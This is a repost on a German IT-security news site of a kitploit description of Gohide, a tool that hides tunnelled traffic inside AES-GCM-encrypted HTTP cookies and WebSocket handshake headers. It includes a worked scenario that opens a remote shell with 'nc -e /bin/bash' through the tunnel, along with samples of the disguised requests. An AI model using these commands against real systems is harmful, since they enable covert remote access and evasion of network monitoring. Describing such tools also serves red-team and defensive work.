Ausnahme gefangen: SSL certificate problem: certificate is not yet valid ๐Ÿ“Œ Gohide - Tunnel Port To Port Traffic Over An Obfuscated Channel With AES-GCM Encryption

๐Ÿ  Team IT Security News

TSecurity.de ist eine Online-Plattform, die sich auf die Bereitstellung von Informationen,alle 15 Minuten neuste Nachrichten, Bildungsressourcen und Dienstleistungen rund um das Thema IT-Sicherheit spezialisiert hat.
Ob es sich um aktuelle Nachrichten, Fachartikel, Blogbeitrรคge, Webinare, Tutorials, oder Tipps & Tricks handelt, TSecurity.de bietet seinen Nutzern einen umfassenden รœberblick รผber die wichtigsten Aspekte der IT-Sicherheit in einer sich stรคndig verรคndernden digitalen Welt.

16.12.2023 - TIP: Wer den Cookie Consent Banner akzeptiert, kann z.B. von Englisch nach Deutsch รผbersetzen, erst Englisch auswรคhlen dann wieder Deutsch!

Google Android Playstore Download Button fรผr Team IT Security



๐Ÿ“š Gohide - Tunnel Port To Port Traffic Over An Obfuscated Channel With AES-GCM Encryption


๐Ÿ’ก Newskategorie: IT Security Nachrichten
๐Ÿ”— Quelle: kitploit.com


Tunnel port to port traffic via an obfuscated channel with AES-GCM encryption.

Obfuscation Modes

  • Session Cookie HTTP GET (http-client)
  • Set-Cookie Session Cookie HTTP/2 200 OK (http-server)
  • WebSocket Handshake "Sec-WebSocket-Key" (websocket-client)
  • WebSocket Handshake "Sec-WebSocket-Accept" (websocket-server)
  • No obfuscation, just use AES-GCM encrypted messages (none)

AES-GCM is enabled by default for each of the options above.


Usage

root@WOPR-KALI:/opt/gohide-dev# ./gohide -h
Usage of ./gohide:
-f string
listen fake server -r x.x.x.x:xxxx (ip/domain:port) (default "0.0.0.0:8081")
-key openssl passwd -1 -salt ok | md5sum
aes encryption secret: use '-k openssl passwd -1 -salt ok | md5sum' to derive key from password (default "5fe10ae58c5ad02a6113305f4e702d07")
-l string
listen port forward -l x.x.x.x:xxxx (ip/domain:port) (default "127.0.0.1:8080")
-m string
obfuscation mode (AES encrypted by default): websocket-client, websocket-server, http-client, http-server, none (default "none")
-pem string
path to .pem for TLS encryption mode: default = use hardcoded key pair 'CN:target.com', none = plaintext mode (default "default")
-r string
forward to remote fake server -r x.x.x.x:xxxx (ip/domain:port) (default "127.0.0.1:9999")

Scenario

Box A - Reverse Handler.

root@WOPR-KALI:/opt/gohide# ./gohide -f 0.0.0.0:8081 -l 127.0.0.1:8080 -r target.com:9091 -m websocket-client
Local Port Forward Listening: 127.0.0.1:8080
FakeSrv Listening: 0.0.0.0:8081

Box B - Target.

root@WOPR-KALI:/opt/gohide# ./gohide -f 0.0.0.0:9091 -l 127.0.0.1:9090 -r target.com:8081 -m websocket-server
Local Port Forward Listening: 127.0.0.1:9090
FakeSrv Listening: 0.0.0.0:9091

Note: /etc/hosts "127.0.0.1 target.com"

Box B - Netcat /bin/bash

root@WOPR-KALI:/var/tmp# nc -e /bin/bash 127.0.0.1 9090

Box A - Netcat client

root@WOPR-KALI:/opt/gohide# nc -v 127.0.0.1 8080
localhost [127.0.0.1] 8080 (http-alt) open
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux WOPR-KALI 5.3.0-kali2-amd64 #1 SMP Debian 5.3.9-1kali1 (2019-11-11) x86_64 GNU/Linux
netstat -pantwu
Active Internet connections (servers and established)
tcp 0 0 127.0.0.1:39684 127.0.0.1:8081 ESTABLISHED 14334/./gohide

Obfuscation Samples

websocket-client (Box A to Box B)

  • Sec-WebSocket-Key contains AES-GCM encrypted content e.g. "uname -a".
GET /news/api/latest HTTP/1.1
Host: cdn-tb0.gstatic.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: 6jZS+0Wg1IP3n33RievbomIuvh5ZdNMPjVowXm62
Sec-WebSocket-Version: 13

websocket-server (Box B to Box A)

  • Sec-WebSocket-Accept contains AES-GCM encrypted output.
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: URrP5l0Z3NIHXi+isjuIyTSKfoP60Vw5d2gqcmI=

http-client

  • Session cookie header contains AES-GCM encrypted content
GET /news/api/latest HTTP/1.1
Host: cdn-tbn0.gstatic.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://www.bbc.co.uk/
Connection: keep-alive
Cookie: Session=R7IJ8y/EBgCanTo6fc0fxhNVDA27PFXYberJNW29; Secure; HttpOnly

http-server

  • Set-Cookie header contains AES-GCM encrypted content.
HTTP/2.0 200 OK
content-encoding: gzip
content-type: text/html; charset=utf-8
pragma: no-cache
server: nginx
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
cache-control: no-cache, no-store, must-revalidate
expires: Thu, 21 Nov 2019 01:07:15 GMT
date: Thu, 21 Nov 2019 01:07:15 GMT
content-length: 30330
vary: Accept-Encoding
X-Firefox-Spdy: h2
Set-Cookie: Session=gWMnQhh+1vkllaOxueOXx9/rLkpf3cmh5uUCmHhy; Secure; Path=/; HttpOnly

none

8JWxXufVora2FNa/8m2Vnub6oiA2raV4Q5tUELJA

ย 


ย 

Future

  • Fix up error handling.

Enjoy~



...



๐Ÿ“Œ AES-Killer - Burp Plugin To Decrypt AES Encrypted Traffic Of Mobile Apps


๐Ÿ“ˆ 44.46 Punkte

๐Ÿ“Œ AES-Killer v3.0 - Burp Plugin To Decrypt AES Encrypted Traffic Of Mobile Apps On The Fly


๐Ÿ“ˆ 44.46 Punkte

๐Ÿ“Œ AES Finder - Utility To Find AES Keys In Running Processes


๐Ÿ“ˆ 34.77 Punkte

๐Ÿ“Œ Libgcrypt 1.8.4 AES Side-Channel weak encryption


๐Ÿ“ˆ 32.44 Punkte

๐Ÿ“Œ What Is AES Encryption, Examples of How the Advanced Encryption Standard Works


๐Ÿ“ˆ 31.68 Punkte

๐Ÿ“Œ Bitcoin wallet.dat AES Encryption Padding weak encryption


๐Ÿ“ˆ 31.68 Punkte

๐Ÿ“Œ How We Taught ChatGPT-4 to Break mbedTLS AES With Side-Channel Attacks


๐Ÿ“ˆ 25.29 Punkte

๐Ÿ“Œ Software Side-Channel attack on AES - White Box Unboxing 4/4 - RHme3 Qualifier


๐Ÿ“ˆ 25.29 Punkte

๐Ÿ“Œ Vuln: Drupal AES encryption Module Security Vulnerability


๐Ÿ“ˆ 24.53 Punkte

๐Ÿ“Œ Was ist AES (Advanced Encryption Standard)?


๐Ÿ“ˆ 24.53 Punkte

๐Ÿ“Œ OpenSSL 1.0.1s/1.0.2g AES-NI CBC MAC Check e_aes_cbc_hmac_sha1.c weak encryption


๐Ÿ“ˆ 24.53 Punkte

๐Ÿ“Œ Cherry B.UNLIMITED AES weak encryption


๐Ÿ“ˆ 24.53 Punkte

๐Ÿ“Œ FreeBSD 5.3/5.4 IPsec Authentication AES-XCBC-MAC weak encryption


๐Ÿ“ˆ 24.53 Punkte

๐Ÿ“Œ Lemur 0.1.4 AES CBC Entropy weak encryption


๐Ÿ“ˆ 24.53 Punkte

๐Ÿ“Œ DataLocker Inc Sentry K300 keypad flash drive has an OLED screen and 256-bit AES hardware encryption


๐Ÿ“ˆ 24.53 Punkte

๐Ÿ“Œ Ghostfuscator - The Python Password-Protected Obfuscator Using AES Encryption


๐Ÿ“ˆ 24.53 Punkte

๐Ÿ“Œ Pixcryption, a new cypher-like encryption technique that I plan to harden with AES. What do you think?


๐Ÿ“ˆ 24.53 Punkte

๐Ÿ“Œ Procter & Gamble Oral-B App 5.0.0 on Android AES weak encryption


๐Ÿ“ˆ 24.53 Punkte

๐Ÿ“Œ [Computer Security] AES-CBC encryption/decryption but (only sometimes) my decripted data comes out corrupted. Please help, can't find out why


๐Ÿ“ˆ 24.53 Punkte

๐Ÿ“Œ Microsoft Wireless Keyboard 850 Security Feature AES weak encryption


๐Ÿ“ˆ 24.53 Punkte

๐Ÿ“Œ Jenkins up to 2.32.1/2.43 AES CBC Block Cipher weak encryption


๐Ÿ“ˆ 24.53 Punkte

๐Ÿ“Œ AWS S3 Crypto SDK for GoLang prior V2 AES-CBC risky encryption


๐Ÿ“ˆ 24.53 Punkte

๐Ÿ“Œ CVE-2022-2097 | OpenSSL up to 1.1.1p/3.0.4 on 32-bit AES OCB Mode missing encryption


๐Ÿ“ˆ 24.53 Punkte

๐Ÿ“Œ A New Ransomware Dubbed BlackCocaine Uses AES & RSA Encryption Methods


๐Ÿ“ˆ 24.53 Punkte

๐Ÿ“Œ Kensington launches SlimBlade Pro Trackball with ambi design, customizability, AES encryption, more


๐Ÿ“ˆ 24.53 Punkte

๐Ÿ“Œ Compress File Using Mule 4 With AES 256 Encryption


๐Ÿ“ˆ 24.53 Punkte

๐Ÿ“Œ CVE-2023-2197 | HashiCorp Vault Enterprise 1.13.0/1.13.1 AES inadequate encryption


๐Ÿ“ˆ 24.53 Punkte

๐Ÿ“Œ The Simplified Advanced Encryption Standard (S-AES) Explained


๐Ÿ“ˆ 24.53 Punkte

๐Ÿ“Œ Understanding and Implementing Advanced Encryption Standard (AES) in Node.js with TypeScript


๐Ÿ“ˆ 24.53 Punkte

๐Ÿ“Œ How to Implement Biometric Authentication with Jetpack Compose and AES Encryption


๐Ÿ“ˆ 24.53 Punkte

๐Ÿ“Œ Web-Traffic-Generator - A Quick And Dirty HTTP/S "Organic" Traffic Generator


๐Ÿ“ˆ 19.37 Punkte

๐Ÿ“Œ Website Traffic Generator - Babylon Traffic


๐Ÿ“ˆ 19.37 Punkte

๐Ÿ“Œ Apache Traffic Control Traffic Router TCP Connection Slowloris denial of service


๐Ÿ“ˆ 19.37 Punkte

๐Ÿ“Œ NSA 'Traffic Shaping' Can Divert US Internet Traffic For Easier Monitoring


๐Ÿ“ˆ 19.37 Punkte











matomo